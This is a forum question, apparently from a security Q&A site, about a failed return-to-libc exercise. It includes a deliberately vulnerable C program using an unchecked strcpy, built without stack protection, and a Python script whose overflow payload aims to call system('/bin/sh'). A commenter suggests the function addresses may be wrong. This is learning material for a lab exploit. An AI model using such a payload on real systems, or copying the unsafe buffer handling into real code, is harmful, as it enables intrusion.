4

I am trying to reproduce a return-to-libc for a simple vulnerable program. The tutorial is taken from https://sploitfun.wordpress.com/2015/05/08/bypassing-nx-bit-using-chained-return-to-libc/

I made some small changes, to make it easier for me.

First of all, I am working on an Ubuntu Linux system:

Linux ubuntux86 4.2.0-22-generic #27-Ubuntu SMP Thu Dec 17 22:57:22 UTC 2015 i686 i686 i686 GNU/Linux

First, I disabled ASLR for Ubuntu (randomize_va_space)

Then I wrote this program:

#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[])
{
    char buf[256];
    strcpy(buf, argv[1]);
    printf("%s\n", buf);
    fflush(stdout);
    return 0;
}

Then I compiled this vulnerable program like this:

gcc -g -fno-stack-protector -o vuln1 vuln1.c 

Then I started to write an exploit on the basis of the tutorial:

#!/usr/bin/env python
import struct
from subprocess import call

# Junk + system + exit + shell
buf = ""
buf += "A" * 200
buf += "B" * 60
# since here: buffer overflow
buf += "\x60\xd1\xe3\xb7"
# pointing to system function
buf += "\x90\x0c\xe3\xb7"
# pointing to exit function
buf += "\x8f\xf3\xff\xbf"
# Content of SHELL Var = /bin/sh

print(buf)

Then I start the vulnerable program with the command

./vuln1 $(python exploit.py)

But after that, I do not get a new shell, but only a segmentation fault error. GDB also shows me this:

Program received signal SIGSEGV, Segmentation fault.
0x00000000 in ?? ()

The question is: What did I do wrong? What did I forget?

  • 1
    Most likely the memory layout isn't the same in your app and the example. Minor differences in OS and compiler versions can change things. Have you verified the addresses of those functions? – Neil Smithline Dec 31 '15 at 5:09

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Browse other questions tagged or ask your own question.